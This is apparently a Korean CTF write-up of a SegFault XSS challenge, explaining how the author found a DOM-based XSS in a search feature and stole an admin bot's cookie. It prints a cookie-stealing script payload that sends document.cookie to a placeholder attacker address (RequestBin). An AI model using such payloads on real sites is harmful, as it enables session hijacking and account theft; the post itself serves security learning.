Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS Challenge

Gearvirus(junyup2) 2023. 12. 29. 17:44

[SegFault] (XSS)

XSS Challenge

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์—์„œ๋Š” XSS ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•„ ๊ณต์ง€์‚ฌํ•ญ์„ ์‚ดํŽด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

๋จผ์ € ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

XSS Point

์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ ๋ฐ˜์‚ฌ๋˜์–ด ๋‚˜์˜ค๋Š” ์ถœ๋ ฅ๊ฐ’์ด ์กด์žฌํ•œ๋‹ค.

ํ•˜์ง€๋งŒ Burp๋ฅผ ํ†ตํ•ด ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ์ถœ๋ ฅ๋˜๋Š” ๊ฐ’์ด ๋…ธ์ถœ๋˜์–ด ์žˆ์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” Reflected๊ฐ€ ์•„๋‹Œ Dom Based ๋ฅผ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

Dom Based ๋ฅผ ์ด์šฉํ•˜๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Paylaod)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค..

ํŽ˜์ด๋กœ๋“œ(Payload)

document.write="<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie="+cookieData;
</script>"

์œ„์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฒ€์ƒ‰์–ด์— ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

ํ•ด๋‹น ์š”์ฒญ์˜ ๊ฒฝ์šฐ GET Method ์ด๋ฏ€๋กœ ํ•ด๋‹น URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€ ์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๊ฒ€์ƒ‰์–ด๋ฅผ ์ž…๋ ฅํ•˜๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag๊ฐ€ ํš๋“๋œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์˜ ์ž…๋ ฅ๊ฐ’์ด ํ™”๋ฉด์— ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ ์ทจ์•ฝ์ ์ด๋‹ค.

ํ™”๋ฉด์— ์ž…๋ ฅ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ Reflected XSS ์ทจ์•ฝ์ ์ด๋ผ๊ณ  ์ผ๋ฐ˜์ ์œผ๋กœ ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, Reflected ์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ์š”์ฒญ์˜ ์‘๋‹ต์— '๋ฐ˜์‚ฌ' ๋˜์–ด ์ง์ ‘์ ์œผ๋กœ ๋…ธ์ถœ๋˜์–ด ์žˆ์–ด์•ผํ•œ๋‹ค.
ํ•˜์ง€๋งŒ ๋ณธ ๋ฌธ์ œ์˜ ์ทจ์•ฝ์ ์˜ ๊ฒฝ์šฐ ์ž…๋ ฅ๊ฐ’์ด ํ™”๋ฉด์—๋Š” ๋…ธ์ถœ๋˜์–ด ์žˆ์œผ๋‚˜, Burp๋กœ ํ™•์ธํ•œ ์‘๋‹ต ์ž์ฒด์—๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” Reflected XSS ๊ฐ€ ์•„๋‹Œ Dom Based ์ทจ์•ฝ์ ์„ ์˜์‹ฌํ•ด๋ด์•ผ ํ•œ๋‹ค.

Dom Based ์˜ ๊ฒฝ์šฐ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์กฐ๋ฆฝํ•˜์—ฌ ๋‚˜์˜จ ๊ฒƒ์œผ๋กœ ํ•ด๋‹น ์ทจ์•ฝ์ ๊ณผ Reflected๋ฅผ ์ž˜ ๊ตฌ๋ถ„ํ•  ์ค„ ์•Œ์•„์•ผ ํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜